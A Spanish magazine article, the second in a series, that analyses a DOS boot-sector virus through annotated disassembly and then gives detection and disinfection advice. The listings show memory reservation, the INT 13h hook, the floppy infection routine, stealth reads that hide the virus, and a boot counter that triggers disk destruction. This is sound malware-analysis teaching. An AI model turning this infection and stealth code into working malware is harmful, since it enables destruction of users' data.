Los virus de arranque (II).

Autor: Juan-Mariano de Goyeneche.
Publicado en el Número 9 de Programación Actual.

El mes anterior se iniciaba el contacto con los virus de arranque estudiando en profundidad los pasos que daba el ordenador desde que se encendía hasta que ejecutaba el sistema operativo. Se continúa ahora viendo cómo y dónde el virus modifica estos pasos en su provecho.

Dejábamos nuestra entrega anterior justo cuando el sector de arranque que contenía al virus se había empezado a ejecutar y ya había decrementado el número de Kilobytes de memoria disponibles, reservándose así un espacio que luego no le pudieran "pisar" otros programas o el propio S.O. La ejecución continúa entonces transfiriendo todo el sector contaminado desde 0000:7c00 a ese Kilobyte reservado:

0B91:7C32 B106 		MOV  CL,06
0B91:7C34 D3E0 		SHL  AX,CL
0B91:7C36 8EC0 		MOV  ES,AX
0B91:7C38 B90002 	MOV  CX,0200
0B91:7C3B 0E 		PUSH CS
0B91:7C3C 1F 		POP  DS
0B91:7C3D 89DE 		MOV  SI,BX
0B91:7C3F 31FF 		XOR  DI,DI
0B91:7C41 FC 		CLD
0B91:7C42 F3 		REPZ
0B91:7C43 A4 		MOVSB

Tiene que hacer esto inmediatamente porque esta posición se usa con posterioridad y el virus sería eliminado de la memoria. Al haber decrementado la variable anterior el SO "ve" 639 Kb de memoria en vez de 640, y nunca puede escribir encima del virus. Este procedimiento es constante en todos los virus de arranque. Algunos tratan de disimularlo para que los programas antivirus no detecten que el sector es un virus con sólo mirar si hay un 413h dentro de él.

0B91:7C44 06 		PUSH ES
0B91:7C45 BBEE00 	MOV  BX,00EE
0B91:7C48 53 		PUSH BX
0B91:7C49 CB 		RETF

El virus continúa en la zona reservada: se deja en la pila el segmento y desplazamiento donde se va a seguir y se hace un RETF. Es análogo a haber hecho un JMP FAR, pero suele utilizarse esta última técnica.

La ejecución sigue ahora en el Kbyte de memoria que se ha reservado el virus, en el desplazamiento 00EE:

0B91:00EE 8ED8 		MOV  DS,AX
0B91:00F0 30E4 		XOR  AH,AH
0B91:00F2 CD13 		INT  13
0B91:00F4 BB0002 	MOV  BX,0200
0B91:00F7 88DD 		MOV  CH,BL
0B91:00F9 8A16EC00 	MOV  DL,[00EC]
0B91:00FD E8B5FF 	CALL 00B5
0B91:0100 E897FF 	CALL 009A

Puesto que se va a leer de disco, se "resetea" la controladora (función 0 de la INT 13: XOR AH,AH deja un 0 en AH), y se lee el resto del virus, dejándolo a continuación dentro del Kilobyte reservado, (BX es el puntero al buffer donde se va a guardar el sector: 200h=512) después de los 512 bytes que ya se han dejado ahí. En DL se pone la unidad de disco en que estamos, que se había guardado en la última infección en 00EC. La primera subrutina, 00B5, pone el resto de los parámetros de la función de lectura de sectores de la INT 13 (ver "Referencias" para encontrar documentación sobre el significado de los parámetros que se pasan a la interrupción):

0B91:00B5 8A0EEB00 	MOV  CL,[00EB]
0B91:00B9 BE7000 	MOV  SI,0070
0B91:00BC 01CE 		ADD  SI,CX
0B91:00BE 8A4C02 	MOV  CL,[SI+02]
0B91:00C1 8A7403 	MOV  DH,[SI+03]
0B91:00C4 C3 		RET

La segunda sirve para leer físicamente el sector definido por los parámetros que se le han pasado. BP se utiliza como contador para permitir hasta 4 lecturas en caso de que haya errores.

-u 9a
0B91:009A 55 		PUSH BP
0B91:009B BD0400 	MOV  BP,0004
0B91:009E B80102 	MOV  AX,0201
0B91:00A1 CD13 		INT  13
0B91:00A3 7307 		JNB  7CAC
0B91:00A5 30E4 		XOR  AH,AH
0B91:00A7 CD13 		INT  13
0B91:00A9 4D 		DEC  BP
0B91:00AA 75F2 		JNZ  7C9E
0B91:00AC 5D 		POP  BP
0B91:00AD C3 		RET

Con los datos pasados a la primera subrutina se puede determinar en qué parte del disco está la continuación del virus, aunque es más interesante comprobar si existe -y en su caso recuperar- el sector de arranque original, que es el que se localizará en breve. Antes de llegar a ese punto el virus hace una comprobación de rigor: si le ha llegado la hora de actuar no hace falta que se moleste en recuperar el código de arranque original, porque no lo va a ejecutar, sino que va a destruir el disco:

0B91:0103 FF06F702 	INC  WORD PTR [02F7]
0B91:0107 813EF7024D01 	CMP  WORD PTR [02F7],014D
0B91:010D 7603 		JBE  0112
0B91:010F E91E01 	JMP  0230
0B91:0112 E87FFF 	CALL 0094

Primero incrementa el contador en que guarda el número de veces que se ha encendido el ordenador, y si este llega a 333 (14Dh), salta a la rutina que destruye el disco. En caso contrario, escribe de nuevo el sector en disco con el contador incrementado. La subrutina en CS:94 es simplemente:

0B91:0094 B80103 	MOV  AX,0301
0B91:0097 CD13 		INT  13
0B91:0099 C3 		RET

Seguidamente pone el contador a cero para que en el próximo disco que infecte ya esté con el valor adecuado y -esto es importante- incrementa CL (siguiente sector) y vuelve a llamar a la subrutina de lectura de disco, con ES:BX -puntero al buffer- con el ya familiar valor de 0000:7C00:

0B91:0115 31C0 		XOR  AX,AX
0B91:0117 A3F702 	MOV  [02F7],AX
0B91:011A 8EC0 		MOV  ES,AX
0B91:011C BB007C 	MOV  BX,7C00
0B91:011F FEC1 		INC  CL
0B91:0121 E876FF 	CALL 009A

Todo parece indicar que es aquí donde está trayendo a memoria el sector original. La forma de suplantar a este sector varía de unos virus a otros: unos guardan una copia del mismo en otra zona del disco y tras instalarse en memoria la cargan en 0000:7C00 y hacen que se ejecute y se encargue ella de cargar el sistema operativo. Estos virus son especialmente ventajosos pues facilitan mucho la labor de desinfección: normalmente basta con desensamblarlos para ver dónde guardan la copia del sector de arranque/MBR originales y volverla a colocar en su posición correcta. Otros en cambio sobrescriben estos sectores y asumen ellos mismos la función de continuar con la carga del SO, lo que los hace algo más difíciles de eliminar.

Seguidamente el virus comprueba si está tratando con un disquete o con un disco duro. Simplemente mira si DL vale 80h (identificador del primer disco duro para la BIOS). Si lo es, significa que se ha arrancado desde disco duro, y por tanto éste ya está infectado; pero si DL vale 0 es que se ha arrancado desde disquete, y entonces el virus, antes de pasarle el control al sector de arranque propio del SO, comprueba si el disco duro está ya afectado o no y se prepara para infectarlo convenientemente.

0B91:0124 80FA80 	CMP  DL,80
0B91:0127 7503 		JNZ  012C
0B91:0129 E99000 	JMP  01BC

Si hay un disco duro, lee el sector de la tabla de particiones y recoge alguna información sobre él. El código no es demasiado interesante; para propósitos pedagógicos interesa mucho más lo que hace en 01BC:

0B91:0129 E851 		JMP  020F
   ...	   ..		   ...
0B91:020F 31C0 		XOR  AX,AX
0B91:0211 2E CS:
0B91:0212 A2EC00 	MOV  [00EC],AL
0B91:0215 8ED8 		MOV  DS,AX
0B91:0217 BBAE02 	MOV  BX,02AE
0B91:021A 8CCA 		MOV  DX,CS
0B91:021C 871E4C00 	XCHG BX,[004C]
0B91:0220 87164E00 	XCHG DX,[004E]
0B91:0224 0E 		PUSH CS
0B91:0225 1F 		POP  DS
0B91:0226 871EB000 	XCHG BX,[00B0]
0B91:022A 8716B200 	XCHG DX,[00B2]
0B91:022E EBD9 		JMP  0209

Con esto cambia la dirección del vector de la interrupción 13h para que apunte al código del virus (el segmento de la rutina de atención a la interrupción 13h se haya en 0000:004E y el desplazamiento en 0000:004C).

La dirección original la guarda en CS:00B0 dentro del código del virus, y pone como rutina lo que hay en CS:02AE. A continuación pasa a ejecutar el sector de arranque original, ya que en CS:209 no hay otra cosa que:

0B91:1209 50 		PUSH AX
0B91:120A BB007C 	MOV  BX,7C00
0B91:120D 53 		PUSH BX
0B91:120E CB 		RETF

En este punto se procede con la carga normal del SO como si nada hubiera pasado. Lo que se ejecuta en este momento es lo que se debía haber ejecutado cuando finalizó el POST y la BIOS le dio el control al sector de arranque o al MBR. El virus ya se ha colocado en medio, ha realizado las tareas pertinentes para permanecer activo y con el control del sistema, y ahora deja que todo continúe como si nada hubiera pasado.

A partir de ahora las acciones que realice el virus se llevarán a cabo de forma indirecta. El SO y las aplicaciones se ejecutaran normalmente, pero cuando se genere una INT 13h para acceder a cualquier disco duro o disquete será la rutina del virus la que se ejecute y no la original. Es entonces cuando el virus "reaparece" y puede volver a tomar decisiones y actuar.

La rutina de interrupción será la encargada de hacer que el virus se extienda e infecte a otros disquetes. En el arranque sólo hay un disquete: el que está arrancando. Y ese ya está infectado o si no el virus no se estaría ejecutando. Lo más que puede hacer en esta fase es infectar el disco duro. Es en la fase siguiente, con el SO ya cargado, donde el usuario mete y saca disquetes, cuando se puede propagar la infección: al leer o copiar un fichero, al hacer un simple "dir", se está accediendo al disquete, luego se está generando una INT 13h. Y como el virus controla su rutina de atención, puede hacer que pase cualquier cosa que le interese, aunque no tenga nada que ver con la causa que originó la interrupción. Es decir, que aunque se produjera una INT 13h porque el usuario quería ver lo que había en un disquete e hizo un "dir" (una operación de lectura) la rutina del virus puede perfectamente escribir primero en el disquete infectándolo y luego, como siempre, realizar la operación que pedía el usuario para que este no sospeche. La rutina del virus de ejemplo, que como se vio estaba localizada en CS:02AE, muestra esto con claridad:

0B91:02AE 56 		PUSH SI
0B91:02AF 1E 		PUSH DS
0B91:02B0 80FA80 	CMP  DL,80 	; ¿Es una operación sobre el disco duro?
0B91:02B3 7503 		JNZ  02B8
0B91:02B5 E9F300 	JMP  03AB 	; El disco duro se gestiona en otra parte.

Esto es para cuando la INT 13h se hace sobre un disquete.

0B91:02B8 80FC02 	CMP  AH,02 	; ¿Solicitado servicio de lectura?
0B91:02BB 7536 		JNZ  02F3 	; No -> salir. Ejecutar INT 13h original.
0B91:02BD 80FA02 	CMP  DL,02
0B91:02C0 7331 		JNB  02F3 	; Sólo trabaja con unidades A: ó B: (00 ó 01)
0B91:02C2 31F6 		XOR  SI,SI
0B91:02C4 8EDE 		MOV  DS,SI
0B91:02C6 F6063F0403 	TEST BYTE PTR [043F],03 ; Si el motor de la unidad de
0B91:02CB 7526 		JNZ  02F3 		;disco está funcionado -> salir.
0B91:02CD 50 		PUSH AX 	; Guarda registros que va a modificar.
0B91:02CE 51 		PUSH CX
0B91:02CF 52 		PUSH DX
0B91:02D0 0E 		PUSH CS
0B91:02D1 1F 		POP  DS
0B91:02D2 8816F602 	MOV  [02F6],DL

Intenta leer el sector de arranque hasta 4 veces si es que hay error.

0B91:02D6 55 		PUSH BP
0B91:02D7 BD0400 	MOV  BP,0004
0B91:02DA B80102 	MOV  AX,0201
0B91:02DD 30F6 		XOR  DH,DH
0B91:02DF B90100 	MOV  CX,0001
0B91:02E2 E8C9FD 	CALL 00AE 	;Llama INT 13h original.
0B91:02E5 7312 		JNB  02F9 	;No error -> sigue.
0B91:02E7 31C0 		XOR  AX,AX 	;Error -> reset del sistema del disco...
0B91:02E9 E8C2FD 	CALL 00AE 	;y vuelve a intentarlo hasta
0B91:02EC 4D 		DEC  BP 	;que haya 4 errores consecutivos.
0B91:02ED 75EB 		JNZ  02DA

Recupera registros y sale, saltando a ejecutar la rutina de la INT 13h original.

0B91:02EF 5D 		POP  BP
0B91:02F0 5A 		POP  DX
0B91:02F1 59 		POP  CX
0B91:02F2 58 		POP  AX
0B91:02F3 E90AFF 	JMP  0200

El código que salta a la INT 13h original es simplemente:

0B91:0200 1F 		POP  DS
0B91:0201 5E 		POP  SI
0B91:0202 2E 		CS:
0B91:0203 FF2EB000 	JMP  FAR [00B0]

En caso de que se pudiera leer el sector de arranque, se comprueba si ya está o no contaminado...

0B91:02F9 5D 		POP  BP
0B91:02FA 26 		ES:
0B91:02FB 813FEA05 	CMP  WORD PTR [BX],05EA
0B91:02FF 7508 		JNZ  0309
0B91:0301 26 		ES:
0B91:0302 817F0200C0 	CMP  WORD PTR [BX+02],C000
0B91:0307 7409 		JZ   0312
0B91:0309 26 		ES:
0B91:030A 81BF4A00BC9E 	CMP  WORD PTR [BX+004A],9EBC
0B91:0310 7504 		JNZ  0315
0B91:0312 E99200 	JMP  03A6 	; Ya está infectado -> Salir de la INT.

Sector no infectado: realiza cálculos para guardarlo como sector de arranque original al final de los sectores reservados para las entradas del directorio raíz...

0B91:0315 26 		ES:
0B91:0316 8B471300 	MOV  AX,[BX+0013]
0B91:031A BE7000 	MOV  SI,0070
0B91:031D 3904 		CMP  [SI],AX
0B91:031F 7429 		JZ   0348
0B91:0321 83C604 	ADD  SI,+04
0B91:0324 EBF9 		JMP  031D
0B91:0326 08D3 		OR   BL,DL
0B91:0328 53 		PUSH BX
0B91:0329 89F3 		MOV  BX,SI
0B91:032B BA7000 	MOV  DX,0070
0B91:032E 29D3 		SUB  BX,DX
0B91:0330 88DA 		MOV  DL,BL
0B91:0332 5B 		POP  BX
0B91:0333 8816EB00 	MOV  [00EB],DL
0B91:0337 8A4C02 	MOV  CL,[SI+02]
0B91:033A FEC1 		INC  CL
0B91:033C 8A7403 	MOV  DH,[SI+03]
0B91:033F 8A16F602 	MOV  DL,[02F6]

...y lo guarda.

0B91:0343 B80103 	MOV  AX,0301
0B91:0346 E867FD 	CALL 00AE

Seguidamente recoge datos del disquete para colocarlos en el sector de arranque infectado y copia los 27 (1Bh) bytes del bloque de parámetros de la BIOS desde el sector de arranque original al nuevo sector de arranque contaminado. Tampoco es código de especial interés, así que se omite por razones de espacio.

0B91:0383 0E 		PUSH CS
0B91:0384 07 		POP  ES
0B91:0385 31DB 		XOR  BX,BX
0B91:0387 B90100 	MOV  CX,0001
0B91:038A 30F6 		XOR  DH,DH

Completadas todas las estructuras, guarda el sector de arranque contaminado.

0B91:038C B80103 	MOV  AX,0301
0B91:038F E821FD 	CALL 00AE
0B91:0392 5A 		POP  DX
0B91:0393 59 		POP  CX

Queda el resto del virus, los últimos 512 bytes, que los guarda también en los sectores reservados para el directorio raíz...

0B91:0394 BB0002 	MOV  BX,0200
0B91:0397 FEC9 		DEC  CL
0B91:0399 B80103 	MOV  AX,0301
0B91:039C E814FD 	CALL 00AE
0B91:039F 5B 		POP  BX
0B91:03A0 07 		POP  ES
0B91:03A1 5A 		POP  DX
0B91:03A2 59 		POP  CX
0B91:03A3 58 		POP  AX
0B91:03A4 EB4B 		JMP  03EC 	; Saltar a la INT 13h original
0B91:03A6 5A 		POP  DX
0B91:03A7 59 		POP  CX
0B91:03A8 58 		POP  AX
0B91:03A9 EB46 		JMP  03EC

Para terminar, la parte de la rutina que se encarga de las llamadas a la INT 13h sobre el disco duro:

0B91:03AB 80FC02 	CMP  AH,02 	; ¿Servicio de lectura?
0B91:03AE 7416 		JZ   03C1
0B91:03B0 80FC03 	CMP  AH,03 	; ¿Servicio de escritura?
0B91:03B3 753C 		JNZ  03EC 	; No -> sal.

Si se pretende escribir en un sector del cilindro 0, cabeza 0, convertir la escritura en verificación para evitar que "machaquen" al virus:

0B91:03B5 08ED 		OR   CH,CH
0B91:03B7 7538 		JNZ  03EC
0B91:03B9 08F6 		OR   DH,DH
0B91:03BB 7534 		JNZ  03EC
0B91:03BD FEC4 		INC  AH 	; AH = 3+1=4, verificación.
0B91:03BF EB30 		JMP  03EC 	; Saltar a la INT 13h original.

Servicio de lectura: no deja que se vea lo que no debería existir.

0B91:03C1 3C01 		CMP  AL,01 	; Sal si Nº de sectores != 1
0B91:03C3 752C 		JNZ  03EC
0B91:03C5 08F6 		OR   DH,DH 	; Sal si la cabeza no es 0.
0B91:03C7 7528 		JNZ  03EC
0B91:03C9 83F901 	CMP  CX,+01 	;Si quieren leer el primer sector...
0B91:03CC 7415 		JZ   03DE 	; les enseña la copia del original.
0B91:03CE 83F906 	CMP  CX,+06 	;Si quieren leer alguno de los sectores
0B91:03D1 740A 		JZ   03D8 	; en que está el resto del virus o el
0B91:03D3 83F907 	CMP  CX,+07 	; sector de arranque original, les enseña
0B91:03D6 7519 		JNZ  03EC 	; otro sector.
0B91:03D8 51 		PUSH CX
0B91:03D9 52 		PUSH DX
0B91:03DA B105 		MOV  CL,05
0B91:03DC EB09 		JMP  03E2
0B91:03DE 51 		PUSH CX
0B91:03DF 52 		PUSH DX
0B91:03E0 B107 		MOV  CL,07
0B91:03E2 E8CEFC 	CALL 00AE 	; Llama a la INT 13h original
0B91:03E5 5A 		POP  DX
0B91:03E6 59 		POP  CX
0B91:03E7 1F 		POP  DS
0B91:03E8 5E 		POP  SI
0B91:03E9 CA0200 	RETF 0002
0B91:03EC E916FE 	JMP  0200


PATRONES COMUNES

Después de estudiar unos cuantos virus de arranque se observan patrones comunes en todos ellos que ayudan mucho a la hora de atajar una infección.

Al igual que todos utilizan la posición 0000:0413 para reservarse memoria, hay otros comportamientos que varían muy poco y que, conocidos, pueden permitir la desinfección sin siquiera desensamblar el virus.

Por ejemplo, si se mira un MBR típico se observa que consta de unos cuantos bytes (muy pocos : menos de la tercera parte del sector) al principio, seguidos de todo ceros hasta la posición 1BEh. Allí aparecen las consabidas entradas de la Tabla de Particiones. En cambio, tras ser infectado por un virus, normalmente todo son bytes del código vírico en vez de los ceros. Las diferencias son notables, y no hace falta más que un editor hexadecimal -o, por qué no, nuestro amigo el DEBUG- para comprobar que el disco está infectado. En los sectores de arranque del DOS no es tan fácil ver lo mismo porque su código ocupa bastante más que el de un MBR; no obstante, es muy común que, justo al final del sector sin infectar, aparezcan los nombres IO.SYS y MSDOS.SYS. Pues bien, como el virus sobrescribe el sector pero suele mantener los datos que había antes es MUY común que estos 2 nombres queden parcialmente borrados por el código vírico, situación que puede hacer sospechar con fundamento una infección.

En los disquetes, el sector de arranque original y el restante código que exceda de los 512 bytes del primer sector suele almacenarse en los últimos sectores de los reservados para el directorio raíz. Una práctica sin duda peligrosa pues, si hay muchos ficheros en el directorio raíz, sus entradas podrían sobrescribir el código del virus o el del sector de arranque original, haciendo, sin duda, que el disquete fuera incapaz de arrancar, colgándose el sistema con casi toda probabilidad. Ciertamente hay otras técnicas, como la de ponerlos en los últimos sectores del disco (donde también pueden ser sobrescritos con los mismos resultados) o, mucho más elaborada y trabajosa, buscar una entrada libre en la FAT (del inglés, pero al revés: Tabla de Asignación de Ficheros, una especie de lista encadenada que apunta por orden a todos clusters que ocupa un fichero), marcarla como defectuosa, calcular los sectores que corresponden a ese cluster, y guardar en ellos el código necesario.

En los discos duros, aunque también se ven las técnicas de guardarlos en los últimos sectores del disco, hay otra forma que suele ser mucho más segura: el MBR se encuentra, invariablemente, en el primer sector de la cara 0 y cilindro 0. Pero, paradójicamente, la partición DOS suele empezar en el primer sector... del cilindro 1. Eso significa que, dependiendo de los discos duros, quedan varios Kbs (los correspondientes a 1 cilindro - 1 sector) vacíos, sin aprovechar. De hecho, los únicos que suelen tomar provecho de esta circunstancia son los virus para guardar allí la información que precisen.

Lógicamente, a la hora de buscar el sector de arranque o el MBR originales para tratar de restaurarlos, se ha de hacer siempre arrancando de disquete, y con uno que nos conste esté limpio de virus pues, como se ha visto, estos son capaces de impedir que veamos los sectores que no le interese y la búsqueda sería inútil.

Tampoco conviene, una vez encontrado el sector original, escribirlo encima del virus sin tomar precauciones. Lo más aconsejable es guardar primero una copia del sector infectado, luego sustituir éste por el sector original y seguidamente rebotar para ver si todo funciona como debiera. Hay virus que modifican también la copia del sector original y ésta, por sí misma, no funcionará; otros encriptan parte del disco duro y entonces, sin el virus que se cargue primero y lo desencripte, resulta inaccesible. En estos casos lo mejor es restaurar el virus y estudiarlo para, una vez localizada su forma de actuar, invertirla para llegar a la situación original, sin infección. Puesto que el disco duro puede quedar inaccesible al retirar el virus, es evidente que su antes recomendada copia de seguridad debe realizarse sobre disquete, no en el propio disco duro!.

La solución de hacer un FDISK /MBR puede funcionar en algunos casos, tanto si el virus ha guardado copia de los sectores originales, como si los ha suplantado totalmente, pero los problemas enunciados en el párrafo anterior pueden darse aquí también, por lo que no es nada recomendable usarla sin hacer antes una copia de seguridad del virus. En realidad se trata todo de la misma técnica, tan repetida siempre cuando se habla de administración UNIX, pero de aplicación en otros muchos aspectos de la vida: "Procura que todos los cambios que hagas sean reversibles".

Hasta aquí todo lo relativo a virus de arranque. El próximo mes serán analizados los virus de ejecutables para terminar en la entrega siguiente con un estudio en profundidad de lo último en cuanto a virus se refiere: los virus de macros de Word.